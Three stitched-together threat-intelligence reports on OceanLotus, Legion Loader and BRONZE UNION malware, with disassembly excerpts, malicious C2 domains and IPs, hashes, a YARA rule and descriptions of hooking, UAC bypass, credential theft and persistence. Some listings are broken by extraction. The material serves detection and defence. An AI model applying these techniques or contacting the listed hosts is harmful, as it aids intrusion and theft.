+s entry point: +.text:008E3966 +.text:008E396B +.text:008E396E +.text:008E3972 +.text:008E3974 +.text:008E3976 +.text:008E3978 +.text:008E397E +.text:008E397F +call +push +push +push +call +get_dll_ep_ptr +[ebp+decompressed_dll_ep], eax +[ebp+decompressed_dll_ep], 0 +short loc_8E3982 +ecx, decompressed_dll_ptr +[ebp+decompressed_dll_ep] ; 0x1665777 DllEntryPoint +Figure 43. Call to the backdoor entry point +OceanLotus Steganography : Malware Analysis White Paper +The routine that reads configuration from resources and decompresses the C2 communication library is then called by temporarily +replacing the pointer to CComCriticalSection function with the pointer to that routine. Such an obfuscation method makes it difficult +to spot it in the code: +.text:008E3982 +.text:008E3985 +.text:008E3988 +.text:008E398B +.text:008E398E +.text:008E3991 +.text:008E3994 +.text:008E3997 +.text:008E399A +.text:008E399B +.text:008E399B read_rsrc: +.text:008E399B +.text:008E399E +.text:008E39A1 +.text:008E39A4 +.text:008E39A7 +push +edx, [ebp+function_pointers] +eax, [edx+ptrs.CComCriticalSection_ptr] +[ebp+CComCriticalSection_ptr_cp], eax +ecx, [ebp+function_pointers] +edx, [ebp+function_pointers] +eax, [edx+ptrs.read_resources_ptr] +[ecx+ptrs.CComCriticalSection_ptr], eax ; replace function pointer +ecx, [ebp+function_pointers] +call +[ebp+sub_904E10__call_comcritsect] ; call_read_resources +esp, 4 +edx, [ebp+function_pointers] +eax, [ebp+CComCriticalSection_ptr_cp] +[edx+ptrs.CComCriticalSection_ptr], eax ; restore original pointer +Figure 44. Obfuscated call to resources decryption routine +The launcher loads configuration from resources and uses an export from the backdoor DLL to initialize config values in memory. +Resource P1/1 contains config values, including port number and a registry path: +.rsrc:0097B108 res_P1_1 +.rsrc:0097B108 +.rsrc:0097B108 +.rsrc:0097B108 +.rsrc:0097B108 +.rsrc:0097B108 +.rsrc:0097B108 +.rsrc:0097B574 +.rsrc:0097B578 +.rsrc:0097B578 +dd 0, 230FD6D4h, 0E14E775h, 23358h, 0FFFFFFFFh, 14h dup(0) +dd 8, 1138CCECh, 60h, 8E7C0003h, 0A8626E59h, 20926E73h +dd 0FBEDE54Eh, 3D70648Fh, 9DB1247Fh, 0E314700Ch, 0DEE5DA86h, 9C70A7FFh +dd 0AAB010CEh, 0EFB573BDh, 20B86F65h, 0BC325832h, 6E9BBE1Fh, 0F018C9A7h +dd 0FBC42E22h, 0FC18150Ah, 5B129A84h, 84DFEEE9h, 0EE1BA8Dh, 0B81053E0h +dd 1DE06A6Ah, 36BAD01Dh, 8FD6E94Eh, 7175D957h, 0A264352Dh, 0F2B39453h +dd 8BCD3945h, 7Ah, 0E2h dup(0) +dd 443 +text +UTF-16LE +SOFTWARE\Classes\CLSID\{57C3E2E2-C18F-4ABF-BAAA-9D1 +text +UTF-16LE +7879AB029} +Figure 45. Embedded configuration +Resource P1/2 contains list of C2 URLs: +.rsrc:0097B5F4 res_P1_2 +.rsrc:0097B5F4 +.rsrc:0097B5F4 +.rsrc:0097B5F4 +.rsrc:0097B5F4 +.rsrc:0097B5F4 +.rsrc:0097B5F4 +.rsrc:0097B5F4 +background.ristians.com:8888 +,0Ah +enum.arkoorr.com:8531 +,0Ah +worker.baraeme.com:8888 +,0Ah +enum.arkoorr.com:8888 +,0Ah +worker.baraeme.com:8531 +,0Ah +plan.evillese.com:8531 +,0Ah +background.ristians.com:8531 +,0Ah +plan.evillese.com:8888 +,0Ah,0 +Figure 46. Hardcoded C2 URLs +OceanLotus Steganography : Malware Analysis White Paper +Resource P1/ 0xC8 contains an additional compressed DLL used for C2 communication (HTTPProv): +.rsrc:0097B6BC res_P1_C8 +.rsrc:0097B6C0 +.rsrc:0097B6C0 +.rsrc:0097B6C5 +.rsrc:0097B6C5 +.rsrc:0097B6C5 +.rsrc:0097B6C5 +.rsrc:0097B6C5 +dd 898608 +db 5Dh, 0, 0, 0, 1 +; uncompressed size +; LZMA header +; compressed data - 637000 bytes +db 0, 28h, 0Ch, 3Ch, 1Bh, 86h, 81h, 0A2h, 10h, 0B8h, 56h, 0A9h +db 6, 6Eh, 0A9h, 0CAh, 0F8h, 91h, 12h, 0EEh, 4Fh, 60h, 0E2h, 3Eh +db 55h, 3Bh, 5Fh, 0F6h, 83h, 32h, 9Ah, 7Dh, 83h, 2Ah, 18h, 8Fh +db 0C6h, 83h, 94h, 0ECh, 0E7h, 31h, 0C7h, 0C5h, 0C2h, 0Eh, 0E2h, 0ECh +db 0CBh, 94h, 88h, 30h, 4Eh, 0D8h, 0FEh, 0B5h, 8Bh, 0E6h, 0DEh, 0C7h +Figure 47. Compressed C2 communication library +Configuration values from the resources are then passed as parameter to one of the backdoor +s functions in the following manner: +.text:0090612E +.text:00906131 +.text:00906135 +.text:00906137 +.text:0090613B +.text:0090613D +.text:00906140 +.text:00906141 +.text:00906144 +.text:00906145 +.text:0090614A +.text:0090614D +push +push +push +call +[ebp+resource_2_urls], eax +[ebp+resource_2_urls], 0 +short loc_906150 +[ebp+resource_2_size], 0 +short loc_906150 +edx, [ebp+resource_2_size] +eax, [ebp+resource_2_urls] +offset a9e3bd021B5ad49 ; +{9E3BD021-B5AD-49DE-AE93-F178329EE0FE} +[ebp+decr_dll_export_1_0x15DAA30] +[ebp+resource_size], eax +Figure 48. Initialization of config values +After the content of resource 0xC8 is decompressed, another function from the backdoor DLL is used to load the C2 communication +module to the memory and call its +CreateInstance + export: +.text:009062C6 +.text:009062C9 +.text:009062CA +.text:009062CD +.text:009062CE +.text:009062D1 +.text:009062D2 +push +push +push +call +eax, [ebp+decompr_buffer] +ecx, [ebp+res_size] +edx, [ebp+resource_C8h] +decompress_second_mz +.text:009062F2 +.text:009062F5 +.text:009062F6 +.text:009062F8 +.text:009062FB +.text:00906300 +.text:00906301 +push +push +call +push +call +ecx, [ebp+mz_size] +ecx, [ebp+decompr_buffer] +get_ptr +; ptr to decompressed resource +[ebp+decr_mz_export_2_0x15DBC70] +Figure 49. Decompression of second DLL +Finally, the launcher passes control to the main backdoor routine: +.text:00906313 +.text:00906318 +.text:0090631B +.text:0090631F +.text:00906321 +.text:00906324 +call +call +get_export_3_ptr +[ebp+decr_mz_export_3_0x15D9130], eax +[ebp+decr_mz_export_3_0x15D9130], 0 +short endp +[ebp+decr_mz_export_3_0x15D9130] +[ebp+var_20], eax +Figure 50. Call to the main backdoor routine +OceanLotus Steganography : Malware Analysis White Paper +Configuration +Name +Content +Length +Notes +name is read from resource P1/0x64 +{12C044FA-A4AB-433B88A2-32C3451476CE} +memory pointer 4 +points to a function that spawns another copy of malicious process +{9E3BD021-B5AD-49DEAE93-F178329EE0FE} +C&C URLs +varies +content is read from resource P1/2 +config +varies +content is read from resource P1/1 +{B578B063-93FB-4A5F82B4-4E6C5EBD393B} +0 (config+0x486) +{5035383A-F7B0-424A9C9A-CA667416BA6F} +port number +0x1BB (443) (config+0x46C) +{68DDB1F1-E31F-42A9A35D-984B99ECBAAD} +registry path +varies +SOFTWARE\Classes\CLSID\{57C3E2E2-C18F4ABF-BAAA-9D17879AB029} +Backdoor DLL +The backdoor DLL is stored in the .rdata section of the launcher, compressed with LZMA, and encrypted with RC4. The binary is +heavily obfuscated with overlapping blocks of garbage code enclosed in pushf/popf instructions. The DllMain function replaces the +pointer to GetModuleHandleA API with a pointer to hook routine that will return the base of the backdoor DLL when called with +NULL as parameter (instead of returing the handle to the launcher DLL): +seg000:015B6B45 loc_15B6B45: +seg000:015B6B45 +seg000:015B6B4C +seg000:015B6B52 +seg000:015B6B55 +seg000:015B6B58 +seg000:015B6B59 +seg000:015B6B5B +seg000:015B6B5D +seg000:015B6B60 +seg000:015B6B67 +seg000:015B6B6D +seg000:015B6B6F +seg000:015B6B75 +seg000:015B6B78 +seg000:015B6B7E +seg000:015B6B81 +push +push +push +push +call +test +; CODE XREF: hook_GetModuleHandleA+D +[ebp+GetModuleHandleA], 0 +eax, GetModuleHandleA +[ebp+GetModuleHandleA], eax +eax, [ebp+flOldProtect] +; lpflOldProtect +PAGE_EXECUTE_READWRITE ; flNewProtect +; dwSize +[ebp+GetModuleHandleA] ; lpAddress = 0x168509C GetModuleHandleA +[ebp+flOldProtect], 0 +ds:VirtualProtect +eax, eax +ret_0 +eax, [ebp+GetModuleHandleA] +dword ptr [eax], offset getmodhandle_hook +eax, [ebp+flOldProtect] +esp, [esp+8+lpflOldProtect] +Figure 51. Overwriting GetModuleHandleA pointer +OceanLotus Steganography : Malware Analysis White Paper +seg000:015B5F50 getmodhandle_hook proc near +; DATA XREF: hook_GetModuleHandleA+58 +seg000:015B5F50 +seg000:015B5F50 var_20 += dword ptr -20h +seg000:015B5F50 var_C += dword ptr -0Ch +seg000:015B5F50 var_s0 += dword ptr 0 +seg000:015B5F50 lpModuleName += dword ptr 8 +seg000:015B5F50 +seg000:015B5F50 +push +seg000:015B5F51 +ebp, esp +seg000:015B5F53 +eax, [ebp+lpModuleName] +seg000:015B5F56 +test +eax, eax +seg000:015B5F58 +loc_15B5F68 +seg000:015B5F5E +[ebp+lpModuleName], eax +seg000:015B5F61 +seg000:015B5F62 +ds:GetModuleHandleA_ptr +seg000:015B5F68 ; --------------------------------------------------------------------------seg000:015B5F68 +seg000:015B5F68 loc_15B5F68: +; CODE XREF: getmodhandle_hook+8 +seg000:015B5F68 +eax, offset base_addr +seg000:015B5F6D +ebp, [esp+var_s0] +Figure 52. GetModuleHandleA hook +The backdoor also contains an export that loads the C2 communication module reflectively to the memory from resource passed +as parameter and then calls its +CreateInstance + export. +While we are still in the process of analyzing this backdoor +s full functionality, it seems to be similar to the Remy backdoor described +in our previous whitepaper on OceanLotus malware. +C2 Communication Module +This DLL is stored in the launcher +s resources and compressed with LZMA. It +s also heavily obfuscated, but in a slightly different +way than the backdoor. Although it doesn +t contain an internal name, we believe it +s a variant of HttpProv library, as described in +the ESET white paper on OceanLotus. +This module is used by the backdoor during HTTP/HTTPS communication with the C2 server and has a proxy bypass functionality. +OceanLotus Steganography : Malware Analysis White Paper +Appendix +Indicators of Compromise (IOCs) +Indicator +Type +Description +ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 +SHA256 +Loader #1 +0ee693e714be91fd947954daee85d2cd8d3602e9d8a840d520a2b17f7c80d999 +SHA256 +Loader #1 +a2719f203c3e8dcdcc714dd3c1b60a4cbb5f7d7296dbb88b2a756d85bf0e9c1e +SHA256 +Loader #1 +4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d +SHA256 +Loader #2 +e0fc83e57fbbb81cbd07444a61e56e0400f7c54f80242289779853e38beb341e +SHA256 +Loader #2 +cd67415dd634fd202fa1f05aa26233c74dc85332f70e11469e02b370f3943b1d +SHA256 +Loader #2 +9112f23e15fdcf14a58afa424d527f124a4170f57bd7411c82a8cdc716f6e934 +SHA256 +Loader #2 +ecaeb1b321472f89b6b3c5fb87ec3df3d43a10894d18b575d98287b81363626f +SHA256 +Loader #2 +478cc5faadd99051a5ab48012c494a807c7782132ba4f33b9ad9229a696f6382 +SHA256 +Loader #2 +72441fe221c6a25b3792d18f491c68254e965b0401a845829a292a1d70b2e49a +SHA256 +Payload PNG (loader #1) +11b4c284b3c8b12e83da0b85f59a589e8e46894fa749b847873ed6bab2029c0f +SHA256 +Payload PNG (loader #2) +d78a83e9bf4511c33eaab9a33ebf7ccc16e104301a7567dd77ac3294474efced +SHA256 +Payload PNG (loader #2) +E:\ProjectGit\SHELL\BrokenSheild\BrokenShieldPrj\Bin\x86\Release\DllExportx86.pdb +PDB Path +Loader #1 +C:\Users\Meister\Documents\Projects\BrokenShield\Bin\x86\Release\BrokenShield.pdb +PDB Path +Loader #2 +kermacrescen.com +7244 +stellefaff.com +7244 +manongrover.com +7244 +background.ristians.com:8888 +11b4 +enum.arkoorr.com:8531 +11b4 +worker.baraeme.com:8888 +11b4 +enum.arkoorr.com:8888 +11b4 +worker.baraeme.com:8531 +11b4 +plan.evillese.com:8531 +11b4 +background.ristians.com:8531 +11b4 +plan.evillese.com:8888 +11b4 +SOFTWARE\Classes\CLSID\{E3517E26-8E93-458D-A6DF-8030BC80528B} +Registry/ +CLSID +7244 +SOFTWARE\App\AppX06c7130ad61f4f60b50394b8cba3d35f\Applicationz +Registry +7244 +SOFTWARE\Classes\CLSID\{57C3E2E2-C18F-4ABF-BAAA-9D17879AB029} +Registry/ +CLSID +11b4 +{79828CC5-8979-43C0-9299-8E155B397281}.dll +Internal +name +11b4 +OceanLotus Steganography : Malware Analysis White Paper +Hunting +VirusTotal +imports: +GdipGetImageWidth + AND imports: +WriteProcessMemory + AND imports: +GdipCreateBitmapFromFile +AND tag:pedll +YARA +import +rule OceanLotus_Steganography_Loader +meta: +description = +OceanLotus Steganography Loader +strings: +$data1 = +.?AVCBC_ModeBase@CryptoPP@@ + ascii +condition:\ +// Must be MZ file +uint16(0) == 0x5A4D and +// Must be smaller than 2MB +filesize < 2MB and +// Must be a DLL +pe.characteristics & pe.DLL and +// Must contain the following imports +pe.imports( +gdiplus.dll +GdipGetImageWidth +) and +pe.imports( +gdiplus.dll +GdipCreateBitmapFromFile +) and +pe.imports( +kernel32.dll +WriteProcessMemory +) and +// Check for strings in .data +for all of ($data*) : +$ in +pe.sections[pe.section_index( +.data +)].raw_data_offset +pe.sections[pe.section_index( +.data +)].raw_data_offset + pe.sections[pe.section_index( +.data +raw_data_size ++1-844-CYLANCE +sales@cylance.com +www.cylance.com +2019 Cylance Inc. Trademarks, including BLACKBERRY, EMBLEM Design, CYLANCE, and CYLANCEPROTECT are trademarks or registered +trademarks of BlackBerry Limited, its affiliates, and/or subsidiaries, used under license, and the exclusive rights to such trademarks are +expressly reserved. All other trademarks are the property of their respective owners. +20190328-0195 +Untangling Legion Loader +s Hornet Nest of Malware +deepinstinct.com/2019/12/18/untangling-legion-loaders-hornet-nest-of-malware +December 18, +2019 +Malware often arrives hand in hand with other malware. Emotet, for example, can deliver +TrickBot; and TrickBot (which is also in a collaborative relationship with IcedID, a fellow +banking malware) can, in turn, deliver Ryuk. This kind of collaborative relationship is +becoming increasingly common among many threat actors, and in some cases even leads +to actors developing specific modules in order to serve these relationships. +In a recent incident at a customer environment, Deep Instinct prevented a malicious +dropper from infecting the customer +s environment. Analysis of the dropper and the +campaign it is associated with, revealed it involves multiple types of malware. The quantity +and variety of which, earned its reference as a +Hornet +s Nest +Included in this campaign is a grab-bag mix of multiple types of info-stealers, backdoors, a +file-less crypto-currency stealer built into the dropper, and occasionally a crypto-miner as +well. Such volume and variety are uncommon in the general landscape and are highly +suggestive of a dropper-for-hire campaign. +Caption: The hornet +s nest buried within Legion Loader +1/16 +The Dropper + Legion Loader +The dropper, which since our initial prevention events has garnered the name of +Legion +Loader + in various network intrusion and emerging-threats rule-sets, a name we find to be +very appropriate. +Legion Loader is written in MS Visual C++ 8 (very likely by a Russian speaking individual) and +shows signs of being in active development. +While Legion Loader features several VM/Sandbox (VMware, +VBOX, etc.) and research-tool evasions (Common debuggers, +SysInternals utilities, etc.), in many cases it lacks string +obfuscation which allows for fairly straightforward analysis. +2/16 +Every dropper in the campaign, which is simultaneously targeted at both the United States +and Europe, is intended to deliver 2-3 additional malware executables and features a builtin file-less crypto-currency stealer and browser-credential harvester. +Once Legion Loader is running, it initially checks-in with its designated C&C server (the +servers are rotated frequently, alongside the distributed droppers) and will terminate +unless it receives an expected response: +3/16 +Caption: Legion Loader +s initial C&C check-in. +Note the rather distinctive User-Agent string, this can vary to other +amusing + strings such +It will then continue with an external-IP check: +And will proceed to download and execute 2-3 hard-coded +payloads, which are usually stored by the C&C server and +occasionally on a free-hosting resource: +Caption: examples of hardcoded payload +URLs, targeting US and EU. +Once executable payload downloads and +execution is complete, Legion Loader will execute a lightly obfuscated PowerShell command +that will deliver crypto-currency stealer and browser-credential harvester. +4/16 +A Legion of Malware +Legion Loader +s campaign drew our attention due to the sheer variety of malware it delivers. +The majority of this body-of-malware is composed from fairly generic run-of-the-mill infostealers such as Vidar, Predator the Thief and Racoon stealer, which are commercially +available in various cybercrime marketplaces. +However, several pieces of malware did stand out among Legion Loader +s rank-and-file, +among these is its built-in Crypto-Currency stealer, and the other + an RDP backdoor. +The built-in Crypto-Stealer +Following payload delivery Legion Loader will execute a PowerShell command +(deobfuscated from above): +This will send an HTTP POST request containing the string +HorseHours +, to the file-less +component +s C&C: +The C&C follows-up with more PowerShell +code, designed to sweep the system for +desirable articles of theft + installed cryptocurrency wallets, and stored cryptocurrency related credentials: +5/16 +If any of these are found, it will make a copy of the operating system +s PowerShell +executable to a temp directory or to %programfiles%/Windows Locator/vsdll.exe if it has +admin privileges (this is done to circumvent some security mechanisms), and will use it to +execute an additional PowerShell snippet, similar to the first, which will again send an HTTP +POST request containing +HorseHours + to the C&C: +Following this 2nd check-in, the C&C will issue +more PowerShell code that will set-up the +stealer. This includes downloading and +reflectively loading a .DLL which is used as +part of its communication encryption routine: +Once the stealer is set-up, it will download and reflectively load a browser credential +harvester, the source-code for which can be found on GitHub: +6/16 +Finally, the harvested credentials and stolen wallet files are uploaded to the C&C server. +The RDP Backdoor +Another interesting malware we saw deployed by Legion Loader is an RDP-based backdoor. +The backdoor, which arrives in the form of an NSIS installer, employs an embedded blowfish +.DLL to decrypt strings which form a cmd.exe command which executes a very large +embedded PowerShell script entitled +premiumlegitJFSQZPTTEU +The embedded +premiumlegitJFSQZPTTEU +script contains a very large DES encrypted +blob which is decrypted and executed: +The decrypted code, which employs a code borrowed from Invoke-PsUACme + a PowerShell +module intended for UAC bypass, contains several gzip-compressed, base64 encoded blobs: +7/16 +Caption: +$DllBytes32/64 + variables containing UACme .DLLs which are used in order to +bypass UAC. +Caption: gzip-compressed, base64 encoded blobs. +$rdp + blob is empty in this example. +$vmt +$clip + and +$cfg + blobs contain various ancillaries which are required in order to set +up the RDP backdoor. +$bot +$bot64 + and +$rdp64 + are the malicious payloads. +These blobs are decoded and decompressed using a set of contained functions and are +deployed by the PowerShell code to %programfiles%/windows mail/appcache.xml or +%/default_list.xml, based on the executing machine +s operating system. While the written +file +s extension is .xml they are actually .DLL files. +Caption: contained function +react + is called to deploy the blob. +After the required .DLL containing blob has been deployed, it is registered as a system +service: +Conclusion +Legion Loader is, as mentioned above, very aptly named; and is a classic case-in-point of +how even a relatively low-sophistication malware can become a security nightmare for an +organization, employing more advanced file-less techniques and delivering a myriad of +follow-up malware ranging for info-stealers and credential harvesters to crypto-miners and +backdoors. +8/16 +IOCs +Legion Loader Samples (SHA256) +04682cf5670dfd8095d1fc9da7ff89f939c73a16c4ebe52dbff7afe5f1a8b89f +04cc0ee8b070e54522aa198b72b12498f338795b73ab2505004000b7566474df +08f5c172493ddbec42574914f6b504553029a56bf45b137b319f669348081abe +14d49f41892c667d0984db2809894c6d83c4d3c1cc78f1b81c5dc37a0f8c9c1c +1692b57a111f0269f3660cfddc50ff0e6187c79f73ee3cdcd4f337758e9b40ea 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+e27a5fe1c99fd2cd91fa0154fbbce0ff0c5d2de363038a839089054b2934dab4 +e5372c3eeed59074c6346702c45b8ace7299a42ccce7cb7791b00f9fc8c4ca36 +e71579ea4b6f003d359db2c53c224514aec83a70b61a5d3648a7647e4b3d2b81 +eb33d6e5f19ae156e179a05382e42c7a5f576cbf73d27edf586d80412c241629 +ee0a4e00992382159296ee165789910fc41b1bfebd702a724e783300e72ba027 +f1ac98b76aec34e05930c0fe80c89c38edf3cd34657ed17bc414a6dbbd6553c3 +f3674f3a2a9e24fba71e0c4db02d150128983d2199c62f3d43e7d2cf3186da93 +f8a69b36bd8df897f9cf9895f77b57a98233b5a6819b26ea579efc63dd403a9f +faa351658d25453883b47cc1aa6b7e530a375649155a73ed75073fb0b5edb120 +fc19702f1749dc163c927d6f2016a71a867f66eb33a77f36beb566366c08c775 +ff888f5eeb702d37e899c1d2d5c4b273edcc3e4e35bf8226014f4022fc9121a8 +Legion Loader C&C Domains +http[:]//4tozahuinya2.info +http[:]//craftupdate4.top +http[:]//ddtupdate2.top +http[:]//fastupdate2.me +http[:]//fastupdate2.top +14/16 +http[:]//fastupdate4.top +http[:]//foxupdate2.me +http[:]//gmsmz.top +http[:]//kisshit2.info +http[:]//lowupdate4.top +http[:]//luxurious-crypto.com +http[:]//myheroin2.info +http[:]//nonstopporno1.info +http[:]//ntupdate4.top +http[:]//rrudate2.top +http[:]//rrudate4.top +http[:]//satantraff2.info +http[:]//slupdate2.top +http[:]//snupdate2.top +http[:]//snupdate4.top +http[:]//statinstall1.info +http[:]//softupdate2.me +http[:]//softupdate4.me +http[:]//ssdupdate2.top +http[:]//sslupdate2.top +http[:]//sslupdate4.top +http[:]//ssupdating.me +http[:]//stnupdate2.me +http[:]//suspiria2.info +15/16 +http[:]//updateinfo4.top +http[:]//upload-stat4.info +http[:]//whereismyshit1.info +http[:]//zdesnetvirusov2.info +Built-in Crypto Stealer C&C Domains +http[:]//legion1488.info +http[:]//legion17.top +http[:]//legion17.net +http[:]//legion17.best +http[:]//legion17.com +http[:]//legion17.info +16/16 +A Peek into BRONZE UNION +s Toolbox +secureworks.com/research/a-peek-into-bronze-unions-toolbox +Threat Analysis +Wednesday, February 27, 2019 By: Counter Threat Unit Research Team +Summary +Secureworks + Counter Threat Unit + (CTU) researchers have tracked the activities of the BRONZE UNION threat group +(also known as Emissary Panda, APT 27, and LuckyMouse) since 2013. CTU + analysis suggests that BRONZE UNION is +located in the People's Republic of China. The threat group has historically leveraged a variety of publicly available and +self-developed tools to gain access to targeted networks in pursuit of its political and military intelligence-collection +objectives. +Breathing new life into old tools +In 2018, CTU researchers identified evidence of BRONZE UNION leveraging tools that have been publicly available for +years. However, the variants used in 2018 included updated code. +ZxShell games +In mid-2018, CTU researchers observed BRONZE UNION deploying an updated version of the ZxShell remote access +trojan (RAT). ZxShell was developed in 2006 by the persona "LZX", who then publicly released the source code in 2007. +Although various threat actors have created different variations of the RAT, the version used by BRONZE UNION in 2018 +contained some previously unobserved properties that suggest the threat group's capabilities continue to evolve: +The malware embedded the well-known HTran packet redirection tool. +The malware was signed with digital certificates that were signed by Hangzhou Shunwang Technology Co., Ltd +(Serial: 29 f7 33 6f 60 92 3a f0 3e 31 f2 a5) and Shanghai Hintsoft Co., Ltd. (Serial: 09 89 c9 78 04 c9 3e c0 00 4e 28 +43). These certificates are not exclusively used by BRONZE UNION but may indicate BRONZE UNION activity. +Figure 1 shows a session captured by Red Cloak + where a BRONZE UNION threat actor launched a remote shell using +ZxShell. +Figure 1. BRONZE UNION threat actor session. (Source: Secureworks) +"You look like you've seen a Gh0st RAT" +Like ZxShell, publicly available Gh0st RAT source code led to the emergence of several different variants. In a 2018 +campaign, BRONZE UNION likely deployed modified Gh0st RAT malware to multiple systems within a compromised +environment that were important to the threat actors' objective. When executed with administrator privileges, the Gh0st +RAT binary file was written to %System%\FastUserSwitchingCompatibilitysex.dll. The installer then created a Windows +service and associated service dynamic link library (DLL) chosen from the names listed in Table 1. +Service name +DLL installed in %System% +Iassex.dll +Irmon +Irmonsex.dll +Nlasex.dll +Ntmssvc +Ntmssvcsex.dll +NWCWorkstation +NWCWorkstationsex.dll +Nwsapagent +Nwsapagentsex.dll +SRService +SRServicesex.dll +Wmisex.dll +WmdmPmSp +WmdmPmSpsex.dll +LogonHours +LogonHourssex.dll +PCAudit +PCAuditsex.dll +helpsvc +helpsvcsex.dll +uploadmgr +uploadmgrsex.dll +Table 1. Service names and DLLs used by Gh0st RAT. +This Gh0st RAT sample communicated with IP address 43 . 242 . 35 . 16 on TCP port 443, although the traffic is a custom +binary protocol and not HTTPS. The malware author also modified the standard Gh0st RAT headers to obfuscate the +network traffic (see Figure 2). +Figure 2. Gh0st RAT network traffic. (Source: Secureworks) +Bytes 0-4, which are typically known as the Gh0st RAT "identifier," are randomized in this case. Bytes 5-8 indicate the +packet size, and bytes 9-12 indicate the zlib-decompressed packet size. In a departure from previous Gh0st RAT versions, +the five bytes at the end of this packet are an XOR key, which must be applied to the packet data before the zlib +decompression can be performed. The XOR key is different for each execution of the malware. Once the packet is +decoded and decompressed, the data shown in Figure 3 is visible. +Figure 3. Decoded Gh0st RAT check-in packet. (Source: Secureworks) +The first byte of Figure 3 shows the value 0x66, which is the Gh0st RAT code for "login". After sending the initial phonehome request, Gh0st RAT exchanges 22-byte 'command' packets with its command and control (C2) server. Once again, +the first five bytes are randomized and the zlib-compressed part of the packet is XOR-encoded, but the same identifiable +structure remains. In the example command packet shown in Figure 4, the first five bytes are the randomized header +and the next eight bytes show the compressed and uncompressed size of the data. The XOR key for this packet is 0x7c. +Figure 4. Gh0st RAT command packet. (Source: Secureworks) +Creating custom solutions +In addition to publicly available tools, BRONZE UNION has also used proprietary remote access tools such as SysUpdate +and HyperBro since 2016. Despite self-developed tools generally benefitting from lower detection rates than publicly +available tools, the threat actors appear to use their own tools more sparingly after securing consistent network access. +SysUpdate is a multi-stage malware used exclusively by BRONZE UNION. It has been delivered by multiple methods. In +one instance observed by CTU researchers, it was downloaded by a malicious Word document using the Dynamic Data +Exchange (DDE) embedded command method. In another incident, the threat actor manually deployed SysUpdate via +previously stolen credentials after gaining access to the environment. In a third case, it was delivered via a redirect from +a strategic web compromise (SWC). Regardless of the delivery method, the payload is a WinRAR self-extracting (SFX) file +that installs the SysUpdate stage 1 payload. +The stage 1 payload is responsible for the following tasks: +installing the stage 1 malware through DLL search-order hijacking +setting up persistence by configuring either a registry Run key (see Figure 5) or an "Own Process" Windows service +depending on privileges available at the time of installation +contacting a C2 server to retrieve and install a second malware payload +Figure 5. SysUpdate user-level Run key. (Source: Secureworks) +SysUpdate stage 1 has no capability beyond downloading the second payload file, SysUpdate Main (see Figure 6). +Figure 6. SysUpdate stage 1 installation process. (Source: Secureworks) +SysUpdate Main employs HTTP communications and uses the hard-coded User-Agent "Mozilla/5.0 (Windows NT 6.3; +WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36". It downloads a file named +m.bin using the HTTP GET method and injects this file into a new svchost.exe process without saving the file to disk. After +performing this download, SysUpdate Main reverts to its binary protocol for any additional commands from the C2 +server, beaconing every three minutes. The SysUpdate Main file analyzed by CTU researchers included remote access +capabilities such as managing files and processes, launching a command shell, interacting with services, taking +screenshots, and uploading and downloading additional malware payloads. +SysUpdate is flexible malware, as capabilities can be easily introduced and withdrawn by supplying a new payload file. +The operator could remove second-stage capabilities at any time and revert to the first stage by supplying a replacement +payload file. By withdrawing second-stage payloads when not in use, operators can limit exposure of their full +capabilities if the malicious activity is detected. +Conclusion +BRONZE UNION was one of the most prolific and active targeted threat groups tracked by CTU researchers in 2017 and +2018. The threat actors have access to a wide range of tools, so they can operate flexibly and select tools appropriate for +intrusion challenges. During complex intrusion scenarios, the threat actors leverage their proprietary tools, which offer +custom functionality and lower detection rates. They appear to prefer using widely available tools and web shells to +maintain access to networks over longer periods. After accessing a network, the threat actors are adept at circumventing +common security controls, escalating privileges, and maintaining their access to high-value systems over long periods of +time. +Threat indicators +The threat indicators in Table 2 are associated with BRONZE UNION activity. Note that IP addresses can be reallocated. +The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser. +Indicator +Type +Context +b7f958f93e2f297e717cffc2fe43f2e9 +hash +ZxShell installer +fa53f09cd22b46b554762dc1a12c99dd692ec681 +SHA1 +hash +ZxShell installer +ef049339f1eb091cda335b51939f91e784e1ab1e006056d5a6bb526743b6cbc7 +SHA256 +hash +ZxShell installer +62bcbfae5276064615d0d45b895fdff2 +hash +ZxShell service DLL (AudioSdk.dll) +9020e5010a916c6187597e9932402ed29098371c +SHA1 +hash +ZxShell service DLL (AudioSdk.dll) +c2229a463637433451a3a50ccf3c888da8202058f5022ffd2b00fc411b395b79 +SHA256 +hash +ZxShell service DLL (AudioSdk.dll) +ae9c39e0d9a0c0ae48a72cb10521d2f3 +hash +Malicious driver associated with +ZxShell (autochk.sys) +2e80926d67ea68acb1df441be5ee1f2d86e7f92b +SHA1 +hash +Malicious driver associated with +ZxShell (autochk.sys) +b28c024db80cf3e7d5b24ccc9342014de19be990efe154ba9a7d17d9e158eecb +SHA256 +hash +Malicious driver associated with +ZxShell (autochk.sys) +language.wikaba.com +Domain +name +ZxShell C2 server +solution.instanthq.com +Domain +name +ZxShell C2 server +40cdd3cfe86c93872b163fb3550f47f6 +hash +Gh0st RAT installer (T.exe) +ad2b27ea2fde31b1cc5104c01a21b22fef507c3d +SHA1 +hash +Gh0st RAT installer (T.exe) +9a1437edd0493ff615a77b9ee1717c5f49ab0b28d1778898f591fb803655fbc6 +SHA256 +hash +Gh0st RAT installer (T.exe) +9c42cd7efbdfc47303d051f056c52d29 +hash +Gh0st RAT binary (install.dll, +FastUserSwitchingCompatibilitysex.dll) +Indicator +Type +Context +b8aa43dc92bec864c94442e6bf8c629c3bd0fe92 +SHA1 +hash +Gh0st RAT binary (install.dll, +FastUserSwitchingCompatibilitysex.dll) +0b1217bd95678ca4e6f81952226a0cfd639ce4b2f7e7fce94ab177d42c5abf62 +SHA256 +hash +Gh0st RAT binary (install.dll, +FastUserSwitchingCompatibilitysex.dll) +06348bbe0cc839f23c2d9471cfb19de3 +hash +Gh0st RAT installer (Update.exe) +cd7c92ac0b36a8befa1b151537fc3fcdafca8606 +SHA1 +hash +Gh0st RAT installer (Update.exe) +b43ccd5b23d348f72466612d597ad71246113a9d524c9b27e682d1f7300a0672 +SHA256 +hash +Gh0st RAT installer (Update.exe) +43.242.35.16 +address +Gh0st RAT C2 server observed in April +2018 +103.85.27.78 +address +Gh0st RAT C2 server observed in April +2018 +trprivates.com +Domain +name +SysUpdate C2 server sinkholed by CTU +researchers +mildupdate.com +Domain +name +SysUpdate C2 server sinkholed by CTU +researchers +43.242.35.13 +address +SysUpdate C2 server observed in late +2017 +c8d83840b96f5a186e7bb6320e998f72 +hash 